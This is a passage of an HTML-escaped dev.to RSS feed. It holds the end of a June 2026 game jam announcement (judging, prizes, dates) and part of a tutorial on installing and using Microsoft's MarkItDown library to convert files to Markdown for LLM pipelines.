&lt;/h2&gt;

&lt;p&gt;All submissions will be judged on the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Relevance to Theme&lt;/strong&gt;: Does the game clearly connect to the June solstice or celebration themes?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Creativity&lt;/strong&gt;: Is the concept original or is it an interesting take on a familiar idea?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technical Execution&lt;/strong&gt;: Is the game functional, well-built, and playable?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writing Quality&lt;/strong&gt;: Is the submission post clearly written and engaging?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use of Prize Category&lt;/strong&gt; &lt;em&gt;(optional)&lt;/em&gt;: If pursuing a prize category, does the submission meaningfully engage with it?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;prizes&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#prizes&quot;&gt;
  &lt;/a&gt;
  Prizes
&lt;/h2&gt;

&lt;p&gt;We’ll select three winners for the overall prompt, and one winner for each additional prize category. Our five total winners will each receive:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$200 USD&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/++&quot;&gt;DEV++ Membership&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Exclusive DEV Badge&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;All participants&lt;/strong&gt; with a valid submission will receive a completion badge.&lt;/p&gt;


&lt;div class=&quot;crayons-card c-embed&quot;&gt;

  
&lt;h2&gt;
  &lt;a name=&quot;how-to-participate&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#how-to-participate&quot;&gt;
  &lt;/a&gt;
  How To Participate
&lt;/h2&gt;

&lt;p&gt;Build a game and publish a post on DEV using the submission template below. Your post should include a demo video of your game and provide an overview of how you built it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://dev.to/new?prefill=---%0Atitle%3A%20%0Apublished%3A%20%0Atags%3A%20devchallenge%2C%20gamechallenge%2C%20gamedev%0A---%0A%0A*This%20is%20a%20submission%20for%20the%20%5BJune%20Solstice%20Game%20Jam%5D(https%3A%2F%2Fdev.to%2Fchallenges%2Fjune-game-jam-2026-06-03)*%0A%0A%23%23%20What%20I%20Built%0A%3C!--%20Tell%20us%20about%20your%20game!%20What%20does%20it%20do%20and%20what%20was%20your%20intended%20goal%3F%20How%20does%20it%20relate%20to%20the%20challenge%20theme%3F%20--%3E%0A%0A%23%23%20Video%20Demo%0A%3C!--%20Share%20a%20video%20demo%20of%20your%20game%20in%20action.%20Embed%20here%20or%20add%20as%20a%20cover%20video.%20We%20strongly%20encourage%20you%20to%20include%20a%20voiceover%20describing%20your%20game%20and%20showing%20off%20additional%20context%20you%27d%20like%20the%20judge%20to%20know%20about.%20--%3E%0A%0A%23%23%20Code%0A%3C!--%20Show%20us%20the%20code!%20You%20can%20embed%20a%20GitHub%20repo%20directly%20into%20your%20post.%20--%3E%0A%0A%23%23%20How%20I%20Built%20It%0A%3C!--%20Walk%20us%20through%20your%20technical%20approach%20and%20any%20interesting%20decisions%20you%20made%20along%20the%20way.%20--%3E%0A%0A%23%23%20Prize%20Category%0A%3C!--%20Are%20you%20submitting%20to%20any%20prize%20categories%3F%20Note%20and%20explain%20how%20each%20category%20applies%20(Best%20Google%20AI%20Usage%2C%20Best%20Ode%20to%20Alan%20Turing).%20If%20not%2C%20you%20can%20remove%20this%20section.%20--%3E%0A%0A%3C!--%20Team%20Submissions%3A%20Please%20pick%20one%20member%20to%20publish%20the%20submission%20and%20credit%20teammates%20by%20listing%20their%20DEV%20usernames%20directly%20in%20the%20body%20of%20the%20post.%20--%3E%0A%0A%3C!--%20Thanks%20for%20participating!%20--%3E&quot; class=&quot;crayons-btn crayons-btn--primary&quot; role=&quot;button&quot;&gt;June Solstice Game Jam Submission Template&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Please review our &lt;a href=&quot;https://dev.to/challenges/june-game-jam-2026-06-03&quot;&gt;judging criteria, rules, guidelines, and FAQ page&lt;/a&gt; before submitting so you understand our participation guidelines and official contest rules such as eligibility requirements.&lt;/em&gt;&lt;/p&gt;


&lt;/div&gt;


&lt;h2&gt;
  &lt;a name=&quot;important-dates&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#important-dates&quot;&gt;
  &lt;/a&gt;
  Important Dates
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;June 3:&lt;/strong&gt; June Solstice Game Jam begins!&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;June 21:&lt;/strong&gt; Submissions due at 11:59 PM PDT&lt;/li&gt;
&lt;li&gt;&lt;mark&gt;&lt;strong&gt;July 9:&lt;/strong&gt; Winners Announced&lt;/mark&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;p&gt;Questions about the challenge? Drop them in the comments below.&lt;/p&gt;

&lt;p&gt;Good luck and happy building!&lt;/p&gt;


            </description><link>https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla</link><guid isPermaLink="false">https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla</guid><pubDate>Wed, 03 Jun 2026 20:22:10 GMT</pubDate><author>Jess Lee</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fauybg26y2lhkrgcpyvmw.png" type="image/jpeg"></enclosure><category>devchallenge</category><category>gamechallenge</category><category>gamedev</category></item><item><title>MarkItDown: Microsoft&#39;s Tool for Converting Almost Anything to Markdown</title><description>&lt;p&gt;If you&#39;ve been building LLM-powered applications, you&#39;ve likely run into the same problem: your data lives in PDFs, Word documents, Excel sheets, and PowerPoint decks — but your AI pipeline expects clean text. Copy-pasting doesn&#39;t scale, and most conversion tools either strip too much structure or produce noisy output.&lt;/p&gt;

&lt;p&gt;Microsoft&#39;s &lt;strong&gt;MarkItDown&lt;/strong&gt; is built specifically for this gap. It&#39;s a lightweight Python utility that converts a wide range of file formats into Markdown, preserving the structure that matters: headings, tables, lists, and links.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-is-markitdown&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#what-is-markitdown&quot;&gt;
  &lt;/a&gt;
  What Is MarkItDown?
&lt;/h2&gt;

&lt;p&gt;MarkItDown is a Python library (and CLI tool) that converts files and documents into Markdown. It is not designed for pixel-perfect human-readable output. The explicit goal is to feed text into LLMs and text analysis pipelines — and Markdown is the right format for that because most large language models understand it natively and it is highly token-efficient.&lt;/p&gt;

&lt;p&gt;Supported formats include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PDF&lt;/li&gt;
&lt;li&gt;Word (.docx)&lt;/li&gt;
&lt;li&gt;PowerPoint (.pptx)&lt;/li&gt;
&lt;li&gt;Excel (.xlsx and older .xls)&lt;/li&gt;
&lt;li&gt;Images (EXIF metadata + optional OCR)&lt;/li&gt;
&lt;li&gt;Audio files (EXIF metadata + optional speech transcription)&lt;/li&gt;
&lt;li&gt;HTML&lt;/li&gt;
&lt;li&gt;CSV, JSON, XML&lt;/li&gt;
&lt;li&gt;ZIP files (iterates and converts contents)&lt;/li&gt;
&lt;li&gt;YouTube URLs (fetches transcription)&lt;/li&gt;
&lt;li&gt;EPubs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That&#39;s a broad surface area for one library.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;installation&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#installation&quot;&gt;
  &lt;/a&gt;
  Installation
&lt;/h2&gt;

&lt;p&gt;You need Python 3.10 or higher. The simplest way to get everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;markitdown[all]&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;[all]&lt;/code&gt; flag installs all optional dependencies for every supported format. If you want a leaner install, you can pick specific formats:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;markitdown[pdf,docx,pptx]&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Available optional extras: &lt;code&gt;pdf&lt;/code&gt;, &lt;code&gt;docx&lt;/code&gt;, &lt;code&gt;pptx&lt;/code&gt;, &lt;code&gt;xlsx&lt;/code&gt;, &lt;code&gt;xls&lt;/code&gt;, &lt;code&gt;outlook&lt;/code&gt;, &lt;code&gt;audio-transcription&lt;/code&gt;, &lt;code&gt;youtube-transcription&lt;/code&gt;, &lt;code&gt;az-doc-intel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is recommended to work inside a virtual environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; venv .venv
&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt; .venv/bin/activate
pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;markitdown[all]&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;




&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;using-the-cli&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#using-the-cli&quot;&gt;
  &lt;/a&gt;
  Using the CLI
&lt;/h2&gt;

&lt;p&gt;The command-line interface is straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Convert a file and print to stdout&lt;/span&gt;
markitdown report.pdf

&lt;span class=&quot;c&quot;&gt;# Save output to a file&lt;/span&gt;
markitdown report.pdf &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; report.md

&lt;span class=&quot;c&quot;&gt;# Pipe input&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;report.pdf | markitdown
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That&#39;s it. No configuration required for basic use.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;using-the-python-api&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#using-the-python-api&quot;&gt;
  &lt;/a&gt;
  Using the Python API
&lt;/h2&gt;

&lt;p&gt;For programmatic use in your pipeline:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;markitdown&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MarkItDown&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;md&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MarkItDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enable_plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;financials.xlsx&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;result.text_content&lt;/code&gt; attribute holds the converted Markdown string.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;converting-different-file-types&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#converting-different-file-types&quot;&gt;
  &lt;/a&gt;
  Converting Different File Types
&lt;/h3&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;markitdown&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MarkItDown&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;md&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MarkItDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Word document
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;proposal.docx&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# PowerPoint deck
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;slides.pptx&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# CSV file
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;data.csv&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# HTML file
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;page.html&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The API is consistent regardless of file type. You call &lt;code&gt;.convert()&lt;/code&gt; and get back a result object.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;llmpowered-image-descriptions&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#llmpowered-image-descriptions&quot;&gt;
  &lt;/a&gt;
  LLM-Powered Image Descriptions
&lt;/h2&gt;

&lt;p&gt;If you pass an image file (or a PowerPoint with images), MarkItDown can call an LLM to generate descriptions for those images, which then become part of the Markdown output. You supply your own client:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;markitdown&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MarkItDown&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;openai&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpenAI&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;OpenAI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;md&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MarkItDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llm_client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;llm_model&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;gpt-4o&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;diagram.jpg&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

